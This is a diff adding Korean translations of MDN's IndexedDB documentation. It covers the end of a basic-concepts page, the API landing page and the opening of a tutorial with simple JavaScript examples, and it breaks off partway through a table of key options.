+ <p>keys를 위해 사용되는 몇몇 data type에 대한 하나의 연속 구간. Records는 keys 또는 하나의 range of keys를 사용하는 object sotres와 indexes로부터 조회될 수 있다. 당신은 lower 그리고 upper bound를 사용해서 range를 제한하거나 걸러낼 수 있다. 예를 들어, 당신은 x와 y 사이의 한 key의 모든 값에 대해 iterate할 수 있다.</p>
+
+ <p>key range에 대한 reference documentation을 위해, <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>를 보라.</p>
+ </dd>
+</dl>
+
+<h2 id="limitations" name="limitations">한계점들</h2>
+
+<p>IndexedDB는 client-side storage가 필요한 대부분의 경우를 해결하기 위해 만들어졌다. 하지만 그것은 다음과 같은 몇 가지 경우를 해결하진 못 한다:</p>
+
+<ul>
+ <li>Internationalized sorting. 모든 언어가 strings를 같은 방법으로 정렬하지 않기 때문에 internationalized sorting은 지원되지 않는다. database가 특정 internationalized order로 데이터를 정렬할 수 없는 반면, 당신이 스스로 database 바깥으로 data를 읽어와서 정렬할 수 있다.</li>
+ <li>Synchronizing. 이 API는 server-side database와의 동기화를 다루기 위해 제작되지 않았다. 당신이 스스로 client-side indexedDB database를 server-side database와 동기화시키는 코드를 작성해야 한다.</li>
+ <li>Full text searching. 이 API는 SQL의 <span style="direction: ltr;"><code>LIKE</code> operator의 equivalent를 가지지 않는다. </span></li>
+</ul>
+
+<p>덧붙여서, 다음과 같은 조건에서 브라우저가 데이터베이스를 지울 수 있음을 알아두라:</p>
+
+<ul>
+ <li>유저가 삭제를 요청한다. 많은 브라우저는 유저가 주어진 웹페이지에 대해 저장된 데이터를 지울 수 있도록 한다, cookies, bookmarks, stored passwords, 그리고 IndexedDB data를 포함해서.</li>
+ <li>브라우저가 private browsing mode 상태에 있다. 특정 브라우저들은 (Firefox의 경우) "private browsing" 혹은 (Chrome의 경우) "incognito" modes 를 가지고 있다. 그 session의 끝에서, 브라우저는 그 데이터베이스를 지운다.</li>
+ <li>disk 또는 quota limit에 다다랐다.</li>
+ <li>데이터가 오염되었다.</li>
+ <li>그 feature에 호환되지 않는 변경이 이루어졌다.</li>
+</ul>
+
+<p>실제 환경과 브라우저 호환성은 시간에 따라 변하지만, 브라우저 제조사의 기본 철학은 가능한한 데이터를 유지하는 데에 최대한 노력하는 것이다.</p>
+
+<h2 id="next" name="next">Next steps</h2>
+
+<p>자 이제 이들 지식을 가지고서 , 우리는 더 큰 것들을 가질 수 있게 되었다.the API 사용법에 대한 튜토리얼을 위해서, <a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a>를 보라.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API Specification</a></li>
+ <li><a href="https://developer.mozilla.org/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a href="https://developer.mozilla.org/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/indexeddb_api/index.html b/files/ko/web/api/indexeddb_api/index.html
new file mode 100644
index 0000000000..4b9e381843
--- /dev/null
+++ b/files/ko/web/api/indexeddb_api/index.html
@@ -0,0 +1,157 @@
+---
+title: IndexedDB
+slug: Web/API/IndexedDB_API
+tags:
+  - API
+  - Advanced
+  - Database
+  - IndexedDB
+  - Landing
+  - Reference
+  - Storage
+translation_of: Web/API/IndexedDB_API
+---
+<div>{{DefaultAPISidebar("IndexedDB")}}</div>
+
+<p><span class="seoSummary"><strong>IndexedDB</strong>는 파일이나 블롭 등 많은 양의 구조화된 데이터를 클라이언트에 저장하기 위한 로우 레벨 API입니다.</span> IndexedDB API는 인덱스를 사용해 데이터를 고성능으로 탐색할 수 있습니다. <a href="/ko/docs/Web/API/Web_Storage_API" title="ko/docs/DOM/Storage">Web Storage</a>는 적은 양의 데이터를 저장하는데 유용하지만 많은 양의 구조화된 데이터에는 적합하지 않은데, 이런 상황에서 IndexedDB를 사용할 수 있습니다. 이 페이지는 MDN에서 IndexedDB에 대한 내용을 다루는 시작 문서로 전체 API 참고서, 사용 안내서, 세부적인 브라우저 지원 상황, 그리고 핵심 개념에 대한 설명을 제공하는 링크를 찾을 수 있습니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>참고</strong>: IndexedDB API는 강력하지만, 간단하게 사용하기엔 좀 복잡해 보일 수 있습니다. 보다 단순한 API를 선호한다면, IndexDB를 좀 더 프로그래머 친화적으로 만들어주는 <a href="https://localforage.github.io/localForage/">localForage</a>, <a href="http://www.dexie.org/">dexie.js</a>, <a href="https://github.com/erikolson186/zangodb">ZangoDB</a>, <a href="https://pouchdb.com/">PouchDB</a>, <a href="https://www.npmjs.com/package/idb">idb</a>, <a href="https://www.npmjs.com/package/idb-keyval">idb-keyval</a>, <a href="http://jsstore.net/">JsStore</a> 같은 라이브러리를 알아보세요.</p>
+</div>
+
+<h2 id="핵심_개념과_사용">핵심 개념과 사용</h2>
+
+<p>IndexedDB는 SQL을 사용하는 관계형 데이터베이스(RDBMS)와 같이 트랜잭션을 사용하는 데이터베이스 시스템입니다. 그러나 IndexedDB는 RDBMS의 고정컬럼 테이블 대신 JavaScript 기반의 객체지향 데이터베이스입니다. IndexedDB의 데이터는 인덱스 <strong>키</strong>를 사용해 저장하고 회수할 수 있으며, <a href="/ko/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">구조화된 복사 알고리즘</a>을 지원하는 객체라면 모두 저장할 수 있습니다. 사용하려면 데이터베이스 스키마를 지정하고, 데이터베이스와 통신을 연 후에, 일련의 <strong>트랜잭션</strong>을 통해 데이터를 가져오거나 업데이트해야 합니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">IndexedDB의 기본 개념</a>에 대해 더 알아보세요.</li>
+ <li><a href="/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB">IndexedDB 사용하기</a> 안내서를 통해 IndexedDB의 기초적인 비동기 사용법을 배워보세요.</li>
+ <li><a href="/ko/docs/Web/Progressive_web_apps/Offline_Service_workers">서비스 워커를 사용해 PWA가 오프라인에서 동작하게 만들기</a> 문서에서 IndexedDB를 사용해 오프라인 데이터를 저장하고, 서비스 워커를 사용해 오프라인 자산을 저장하는 방법을 살펴보세요.</li>
+</ul>
+
+<div class="note">
+<p><strong>참고</strong>: 대부분의 웹 저장 솔루션처럼, IndexedDB도 <a href="https://www.w3.org/Security/wiki/Same_Origin_Policy">동일 출처 정책</a>을 따릅니다. 그렇기 때문에, 저장한 데이터는 같은 도메인에서만 접근할 수 있으며 다른 도메인에서는 접근할 수 없습니다.</p>
+</div>
+
+<h3 id="동기와_비동기">동기와 비동기</h3>
+
+<p>IndexedDB 작업은 애플리케이션 블록을 방지하기 위해 모두 비동기로 이뤄집니다. 이전엔 동기적 API와 비동기적 API 모두 있었으며, 동기적 API는 <a href="/ko/docs/Web/API/Web_Workers_API/basic_usage">웹 워커</a>에서만 사용할 용도였습니다. 그러나 그 필요성에 대한 의문으로 인해 명세에서 제거된 상황입니다. 다만 충분한 수요가 있다면 동기적 API가 미래에 다시 추가될 수도 있습니다.</p>
+
+<h3 id="저장_용량_한도와_제거_기준">저장 용량 한도와 제거 기준</h3>
+
+<p>하나의 종류 또는 다른 종류의 데이터를 클라이언트 측(즉, 로컬 디스크 상)에 저장하는 웹 기술은 많습니다. IndexedDB는 가장 일반적으로 언급되는 것입니다. 브라우저가 얼마만큼의 공간을 web data storage에 할당할지 그리고 용량이 한계에 도달했을 때 무엇을 지울지의 프로세스는 간단하지 않고, 브라우저마다 다릅니다. <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">브라우저 저장 공간 제한과 퇴거 기준</a>을 Firefox의 경우 이 작동 방식을 설명하려고 시도합니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p>To get access to a database, call <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBFactory.open"><code>open()</code></a> on the <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a> attribute of a <a href="https://developer.mozilla.org/en-US/docs/DOM/window">window</a> object. This method returns an {{domxref("IDBRequest")}} object; asynchronous operations communicate to the calling application by firing events on {{domxref("IDBRequest")}} objects.</p>
+
+<h3 id="데이터베이스_연결">데이터베이스 연결</h3>
+
+<dl>
+ <dt>{{domxref("IDBEnvironment")}}</dt>
+ <dd>Provides access to IndexedDB functionality. It is implemented by the {{domxref("window")}} and {{domxref("worker")}} objects. This interface isn't part of the 2.0 specification.</dd>
+ <dt>{{domxref("IDBFactory")}}</dt>
+ <dd>Provides access to a database. This is the interface implemented by the global object <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a> and is therefore the entry point for the API.</dd>
+ <dt>{{domxref("IDBOpenDBRequest")}}</dt>
+ <dd>Represents a request to open a database.</dd>
+ <dt>{{domxref("IDBDatabase")}}</dt>
+ <dd>Represents a connection to a database. It's the only way to get a transaction on the database.</dd>
+</dl>
+
+<h3 id="데이터_가져오기_및_수정하기">데이터 가져오기 및 수정하기</h3>
+
+<dl>
+ <dt>{{domxref("IDBTransaction")}}</dt>
+ <dd>Represents a transaction. You create a transaction on a database, specify the scope (such as which object stores you want to access), and determine the kind of access (read only or readwrite) that you want.</dd>
+ <dt>{{domxref("IDBRequest")}}</dt>
+ <dd>Generic interface that handles database requests and provides access to results.</dd>
+ <dt>{{domxref("IDBObjectStore")}}</dt>
+ <dd>Represents an object store that allows access to a set of data in an IndexedDB database, looked up via primary key.</dd>
+ <dt>{{domxref("IDBIndex")}}</dt>
+ <dd>Also allows access to a subset of data in an IndexedDB database, but uses an index to retrieve the record(s) rather than the primary key. This is sometimes faster than using {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBCursor")}}</dt>
+ <dd>Iterates over object stores and indexes.</dd>
+ <dt>{{domxref("IDBCursorWithValue")}}</dt>
+ <dd>Iterates over object stores and indexes and returns the cursor's current value.</dd>
+ <dt>{{domxref("IDBKeyRange")}}</dt>
+ <dd>Defines a key range that can be used to retrieve data from a database in a certain range.</dd>
+ <dt>{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}</dt>
+ <dd>Defines a key range that can be used to retrieve data from a database in a certain range, sorted according to the rules of the locale specified for a certain index (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). This interface isn't part of the 2.0 specification.</dd>
+</dl>
+
+<h3 id="사용자_지정_이벤트_인터페이스">사용자 지정 이벤트 인터페이스</h3>
+
+<p>This specification fires events with the following custom interface:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeEvent")}}</dt>
+ <dd>The <code>IDBVersionChangeEvent</code> interface indicates that the version of the database has changed, as the result of an {{domxref("IDBOpenDBRequest.onupgradeneeded")}} event handler function.</dd>
+</dl>
+
+<h3 id="폐기된_인터페이스">폐기된 인터페이스</h3>
+
+<p>An early version of the specification also defined these now removed interfaces. They are still documented in case you need to update previously written code:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}</dt>
+ <dd>Represents a request to change the version of a database. The way to change the version of the database has since changed (by calling {{domxref("IDBFactory.open")}} without also calling {{domxref("IDBDatabase.setVersion")}}), and the interface {{domxref("IDBOpenDBRequest")}} now has the functionality of the removed {{domxref("IDBVersionChangeRequest")}}.</dd>
+ <dt>{{domxref("IDBDatabaseException")}} {{obsolete_inline}}</dt>
+ <dd>Represents exception conditions that can be encountered while performing database operations.</dd>
+ <dt>{{domxref("IDBTransactionSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBTransaction")}}.</dd>
+ <dt>{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBIndexSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBIndex")}}.</dd>
+ <dt>{{domxref("IDBFactorySync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBEnvironment")}}.</dd>
+ <dt>{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBDatabase")}}.</dd>
+ <dt>{{domxref("IDBCursorSync")}} {{obsolete_inline}}</dt>
+ <dd>Sync version of {{domxref("IDBCursor")}}.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<ul>
+ <li><a href="http://marco-c.github.io/eLibri/">eLibri:</a> A powerful library and eBook reader application, written by Marco Castelluccio, winner of the IndexedDB Mozilla DevDerby.</li>
+ <li><a href="https://github.com/chrisdavidmills/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>): The reference application for the examples in the reference docs.</li>
+ <li><a href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">Storing images and files in IndexedDB</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://localforage.github.io/localForage/">localForage</a>: A Polyfill providing a simple name:value syntax for client-side data storage, which uses IndexedDB in the background, but falls back to WebSQL and then localStorage in browsers that don't support IndexedDB.</li>
+ <li><a href="http://www.dexie.org/">Dexie.js</a>: A wrapper for IndexedDB that allows much faster code development via nice, simple syntax.</li>
+ <li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: A MongoDB-like interface for IndexedDB that supports most of the familiar filtering, projection, sorting, updating and aggregation features of MongoDB.</li>
+ <li><a href="http://jsstore.net/">JsStore</a>: An IndexedDB wrapper with SQL like syntax.</li>
+ <li><a href="https://github.com/mWater/minimongo">MiniMongo</a>: A client-side in-memory mongodb backed by localstorage with server sync over http. MiniMongo is used by MeteorJS.</li>
+ <li><a href="https://pouchdb.com/">PouchDB</a>: A client-side implementation of CouchDB in the browser using IndexedDB</li>
+</ul>
diff --git a/files/ko/web/api/indexeddb_api/using_indexeddb/index.html b/files/ko/web/api/indexeddb_api/using_indexeddb/index.html
new file mode 100644
index 0000000000..13fe4e6ea4
--- /dev/null
+++ b/files/ko/web/api/indexeddb_api/using_indexeddb/index.html
@@ -0,0 +1,1325 @@
+---
+title: IndexedDB 사용하기
+slug: Web/API/IndexedDB_API/Using_IndexedDB
+translation_of: Web/API/IndexedDB_API/Using_IndexedDB
+---
+<p>{{DefaultAPISidebar("IndexedDB")}}</p>
+
+<p class="summary">IndexedDB는 사용자의 브라우저에 데이터를 영구적으로 저장할 수 있는 방법 중 하나입니다. IndexedDB를 사용하여 네트워크 상태에 상관없이 풍부한 쿼리 기능을 이용할 수 있는 웹 어플리케이션을 만들 수 있기 때문에, 여러분의 웹 어플리케이션은 온라인과 오프라인 환경에서 모두 동작할 수 있습니다. </p>
+
+<h2 id="이_문서에_대하여">이 문서에 대하여</h2>
+
+<p>여러분은 이 튜토리얼에서 IndexedDB의 비동기 방식(asynchronous) API에 대해 훑어볼 수 있습니다. 만약 IndexedDB가 생소하다면, <a href="/ko/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en/IndexedDB/Basic Concepts Behind IndexedDB">Basic Concepts About IndexedDB</a> 를 먼저 읽어보는 것이 좋습니다.</p>
+
+<p>IndexedDB API에 대한 참조(reference) 문서를 원한다면, <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a> 항목과 하위 페이지를 보십시오. 이 문서에서는 IndexedDB에서 사용되는 객체의 종류와, 동기식(synchrounous), 비동기식(asynchronous) API에 대해서 기술하고 있습니다.</p>
+
+<h2 id="pattern" name="pattern">기본 패턴</h2>
+
+<p>IndexedDB가 권장하는 기본 패턴은 다음과 같습니다:</p>
+
+<ol>
+ <li>데이터베이스를 엽니다.</li>
+ <li>객체 저장소(Object store)를 생성합니다. </li>
+ <li>트랜젝션(Transaction)을 시작하고, 데이터를 추가하거나 읽어들이는 등의 데이터베이스 작업을 요청합니다.</li>
+ <li>DOM 이벤트 리스너를 사용하여 요청이 완료될때까지 기다립니다.</li>
+ <li>(요청 객체에서 찾을 수 있는) 결과를 가지고 무언가를 합니다.</li>
+</ol>
+
+<p>그러면 이제, 이런 큰 개념을 익히면 더 구체적인 것을 할 수 있습니다.</p>
+
+<h2 id="open" name="open">저장소를 생성하고 구성하기</h2>
+
+<h3 id="Indexed_DB_의_실험적인_버전을_사용해보기">Indexed DB 의 실험적인 버전을 사용해보기</h3>
+
+<p>접두어를 사용하는 브라우저에서 코드를 테스트하려는 경우 다음 코드를 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// In the following line, you should include the prefixes of implementations you want to test.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// DON'T use "var indexedDB = ..." if you're not in a function.
+// Moreover, you may need references to some window.IDB* objects:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
+// (Mozilla has never prefixed these objects, so we don't need window.mozIDB*)</pre>
+
+<p>접두어를 사용하여 구현하는 것은 버그가 있거나 불완전하거나 이전 버전의 사양을 따르는 경우가 있습니다. 따라서 프로덕션 상태의 코드에선 사용하지 않는 것을 권장합니다. 제대로 지원하지 않는 브라우저를 지원하게 구현하여 실패하는 것보다 미지원 하는 것이 바람직할 수 있습니다.:</p>
+
+<pre class="brush: js notranslate">if (!window.indexedDB) {
+    window.alert("Your browser doesn't support a stable version of IndexedDB. Such and such feature will not be available.")
+}
+</pre>
+
+<h3 id="데이터베이스_열기">데이터베이스 열기</h3>
+
+<p>우리는 밑의 프로그래밍 코드로 시작할 것입니다:</p>
+
+<pre class="brush: js notranslate">// 내 데이터 베이스를 열도록 요청하자
+var request = window.indexedDB.open("MyTestDatabase");
+</pre>
+
+<p>보셨나요? 데이터베이스 접속은 다른 operation 들과 비슷합니다 — 당신은 "요청(request)" 하면 됩니다.</p>
+
+<p>open 요청은 데이터베이스를 즉시 열거나 즉시 트랜잭션을 시작하지 않습니다.  <code>open()</code> 함수를 호출하면 이벤트로 처리한 결과(성공 상태)나 오류 값이 있는 <a href="/ko/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> 객체를 반환합니다. IndexedDB의 다른 비동기 함수 대부분은 결과 또는 오류가 있는 <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="color: rgb(51, 51, 51); font-size: 14px;">IDBRequest</code></a> 객체를 반환합니다. <code>open()</code> 함수의 결과는 <code style="color: rgb(51, 51, 51); font-size: 14px;"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a></code> 의 인스턴스입니다.</p>
+
+<p>open 메소드의 두번째 매개 변수는 데이터베이스의 버전입니다. 데이터베이스의 버전은 데이터베이스 스키마를 결정합니다. 데이터베이스 스키마는 데이터베이스 안의 객체 저장소와 그것들의 구조를 결정합니다. 데이터베이스가 아직 존재하지 않으면, open operation에 의해 생성되고, 그 다음 <code>onupgradeneeded</code>  이벤트가 트리거되고 이 이벤트 안에서 데이터베이스 스키마를 작성합니다. 데이터베이스가 존재하지만 업그레이드 된 버전 번호를 지정하는 경우 <code>onupgradeneeded</code> 이벤트가 트리거되고 해당 핸들러에 업데이트된 스키마를 제공할 수 있습니다. 자세한 내용은 나중에 아래의 <a href="#데이터베이스의_버전_생성_또는_업데이트">데이터베이스의 버전 업데이트</a>와 {{ domxref("IDBFactory.open") }} 페이지를 참조하십시오. </p>
+
+<div class="warning">
+<p><strong>중요</strong>: 버전 번호는 <code>unsigned long long</code> 숫자입니다. 이는 버전 번호는 매우 큰 정수가 되어야한다는 의미입니다. 또한 부동 소수점을 사용할 수 없다는 것을 의미합니다. 그렇지 않으면 가장 가까운 정수로 변환되어 트랜잭션이 시작되지 않거나 <code>upgradeneeded</code> 이벤트가 트리거 되지 않습니다. 예를 들어, 2.4와 같은 버전 번호를 사용하지 마십시오:<br>
+ <code>var request = indexedDB.open("MyTestDatabase", 2.4); // don't do this, as the version will be rounded to 2</code></p>
+</div>
+
+<h4 id="제어_객체_생성">제어 객체 생성</h4>
+
+<p>첫번째로 당신이 하려는 모든 요청에 대해 성공했을 때 그리고 에러가 발생했을 때 제어를 할 객체를 요청해야 됩니다:</p>
+
+<pre class="brush: js notranslate">request.onerror = function(event) {
+  // request.errorCode 에 대해 무언가를 한다!
+};
+request.onsuccess = function(event) {
+  // request.result 에 대해 무언가를 한다!
+};</pre>
+
+<p><code>onsuccess()</code> 또는 <code>onerror()</code> 두 함수 중 어떤 함수가 호출될까요? 모든 것이 성공하면, success 이벤트 (즉, <code>type</code> 속성이<code>"success"</code> 로 설정된 DOM 이벤트)가 <code>request</code>를 <code>target</code>으로 발생합니다. 일단 실행되면, <code>request</code> 의 <code>onsuccess()</code> 함수는 success 이벤트를 인수로 트리거됩니다. 반면, 문제가 있는 경우, 오류 이벤트 (즉 <code>type</code> 속성이<code>"error"</code> 로 설정된 DOM 이벤트)는 <code>request</code>에서 발생합니다. 이 오류 이벤트를 인수로 <code><code>onerror()</code></code> 함수가 트리거됩니다.</p>
+
+<p>The IndexedDB API는 오류 처리의 필요성을 최소화하도록 설계되었기 때문에 많은 오류 이벤트를 볼 수는 없을 것입니다. (적어도 API에 익숙하지 않은 경우). 그러나 데이터베이스를 여는 경우 오류 이벤트를 발생하는 몇 가지 일반적인 조건이 있습니다. 가장 많은 문제는 사용자가 웹 응용 프로그램에 데이터베이스를 만들 수 있는 권한을 주지 않기로 결정한 것입니다. IndexedDB의 주요 설계 목표 중 하나는 많은 양의 데이터를 오프라인에서 사용할 수 있도록 하는 것입니다. (각 브라우저에서 저장할 수 있는 저장 용량에 대한 자세한 내용은 <a href="/ko/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Storage limits</a> 를 참조하십시오.)  </p>
+
+<p>일부 광고 네트워크나 악의적인 웹 사이트가 컴퓨터를 오염시키는 것을 브라우저는 원하지 않기 때문에 브라우저는 특정 웹 응용 프로그램이 처음으로 저장용 IndexedDB를 열려고 할 때 사용자에게 메시지를 보냅니다. 사용자가 액세스를 허용하거나 거부할 수 있습니다. 또한, 개인정보 보호 모드의 브라우저에서 IndexedDB 공간은 시크릿 세션이 닫힐 때까지 메모리 내에서만 지속됩니다. (Firefox의 개인정보 보호 브라우징 모드와 Chrome 의 시크릿 모드가 있지만, Firefox 의 경우 2015년 11월 현재 아직 미구현({{Bug("781982")}} 참조)이므로, 개인정보 보호 브라우징 모드의 Firefox에서는 IndexedDB를 사용할 수 없습니다).</p>
+
+<p>이제, 사용자가 데이터베이스 생성 요청을 허용하여 success 콜백을 트리거하는 success 이벤트를 받았다고 가정합니다; 그 다음은 무엇을 해야할까요? 이 요청은 <code>indexedDB.open()</code>을 호출하여 생성되었고, <code>request.result</code> 는 <code>IDBDatabase</code> 의 인스턴스이므로, 이후에 이것을 사용하기 위해 저장하기 원할 것은 확실합니다. 코드는 다음과 같이 할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Why didn't you allow my web app to use IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = request.result;
+};
+</pre>
+
+<h4 id="에러_처리">에러 처리</h4>
+
+<p>위에서 언급한 바와 같이, 오류 이벤트는 버블링됩니다. 오류 이벤트는 오류를 생성한 request를 대상으로하며, 이벤트는 트랜잭션으로 버블링되고, 마지막으로 데이터베이스 객체로 버블링됩니다. 모든 요청에 에러 처리를 피하고 싶은 경우, 아래와 같이 하나의 오류 핸들러를 데이터베이스 객체에 추가하여 대신할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">db.onerror = function(event) {
+  // Generic error handler for all errors targeted at this database's
+  // requests!
+  alert("Database error: " + event.target.errorCode);
+};
+</pre>
+
+<p>데이터베이스를 열 때 자주 발생하는 오류 중 하나가 <code>VER_ERR</code>가 있습니다. 이는 디스크에 저장된 데이터베이스의 버전이 현재 코드에서 지정된 버전 번호보다 큼을 나타냅니다. 이 오류는 항상 오류 처리기에서 처리해야합니다.</p>
+
+<h3 id="데이터베이스의_버전_생성_또는_업데이트_2">데이터베이스의 버전 생성 또는 업데이트</h3>
+
+<p><a id="데이터베이스의_버전_생성_또는_업데이트" name="데이터베이스의_버전_생성_또는_업데이트"></a>새로운 데이터베이스를 만들거나 기존 데이터베이스의 버전 번호를 높일 때({{ anch("데이터베이스 열기") }}시, 이전 버전보다 높은 버전 번호를 지정하면), <code>onupgradeneeded</code> 가 트리거되고 <code>request.result</code>(즉, 아래의 예제 : <code>db</code>)에 설정된 <code>onversionchange</code> 이벤트 핸들러에 <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBVersionChangeEvent">IDBVersionChangeEvent</a> 객체가 전달됩니다. <code>upgradeneeded</code> 이벤트 처리기에서 이 버전의 데이터베이스에 필요한 객체 저장소를 만들어야합니다:</p>
+
+<pre class="brush: js notranslate"><code>// This event is only implemented in recent browsers
+request.onupgradeneeded = function(event) {
+  // Save the IDBDatabase interface
+  var db = event.target.result;
+
+  // Create an objectStore for this database
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};</code>
+</pre>
+
+<p>이 경우 데이터베이스에는 이전 버전의 데이터베이스에 있는 객체 저장소가 이미 있으므로, 이전 버전의 객체 저장소를 다시 만들 필요가 없습니다. 여러분은 새로운 객체 저장소를 만들거나 더 이상 필요하지 않은 이전 버전의 객체 저장소만 삭제하면 됩니다. 기존 객체 저장소를 변경(예, <code>keyPath</code>를 변경) 해아 하는 경우, 이전 객체 저장소를 삭제하고 새 옵션으로 다시 만들어야합니다. (이것은 객체 저장소의 정보를 삭제하니 주의하십시오! 해당 정보를 보존해야하는 경우 데이터베이스를 업그레이드하기 전에 해당 정보를 읽고 다른 곳에 저장해야 합니다.)</p>
+
+<p>이미 존재하는 이름으로 객체 저장소를 만들려고 하면 (또는 존재하지 않는 객체 저장소를 삭제하려고 하면) 오류가 발생합니다. </p>
+
+<p><code>onupgradeneeded</code> 이벤트가 성공적으로 끝나면, 데이터베이스 열기 요청의 <code>onsuccess</code> 핸들러가 트리거 됩니다. </p>
+
+<p>Chrome 23+ 및 Opera 17+ 의 Blink/Webkit은 현재 버전의 스펙을 지원합니다. IE10+ 마찬가지입니다. 다른 구현체 또는 구형 구현체는 아직 스펙의 현재 버전을 구현하지 않으므로 <code>indexedDB.open(name, version).onupgradeneeded</code> 서명을 지원하지 않습니다. 이전 Webkit/Blink에서 데이터베이스 버전을 업그레이드하는 방법에 대한 자세한 내용은 <a href="/ko/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated" title="https://developer.mozilla.org/en/IndexedDB/IDBDatabase#setVersion()_.0A.0ADeprecated">IDBDatabase reference article</a> 를 참조하십시오.</p>
+
+<h3 id="데이터베이스_구성">데이터베이스 구성</h3>
+
+<p>이제 데이터베이스를 구축합니다. IndexedDB는 테이블이 아닌 객체 저장소를 사용하며 하나의 데이터베이스는 여러 개의 객체 저장소를 포함할 수 있습니다. 값을 객체 저장소에 저장할 때마다 값은 키와 연관됩니다. 객체 저장소가 <a href="/ko/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_keypath" title="https://developer.mozilla.org/en/IndexedDB#gloss_key_path">키 경로</a> 또는 <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_keygenerator" title="en/IndexedDB#gloss key generator">키 생성기</a> 옵션의 사용 여부에 따라 키를 제공할 수 있는 여러 가지 방법이 있습니다.</p>
+
+<p>다음 표는 키가 제공되는 다양한 방법을 보여줍니다:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">키 경로 (<code>keyPath</code>)</th>
+   <th scope="col">키 생성기 (<code>autoIncrement</code>)</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>No</td>
+   <td>No</td>
+   <td>이 객체 저장소는 숫자 및 문자열과 같은 원시 값을 포함한 모든 종류의 값을 보유 할 수 있습니다. 새 값을 추가 할 때 마다 별도의 키 인수를 공급해야합니다.</td>
+  </tr>
+  <tr>
+   <td>Yes</td>
+   <td>No</td>
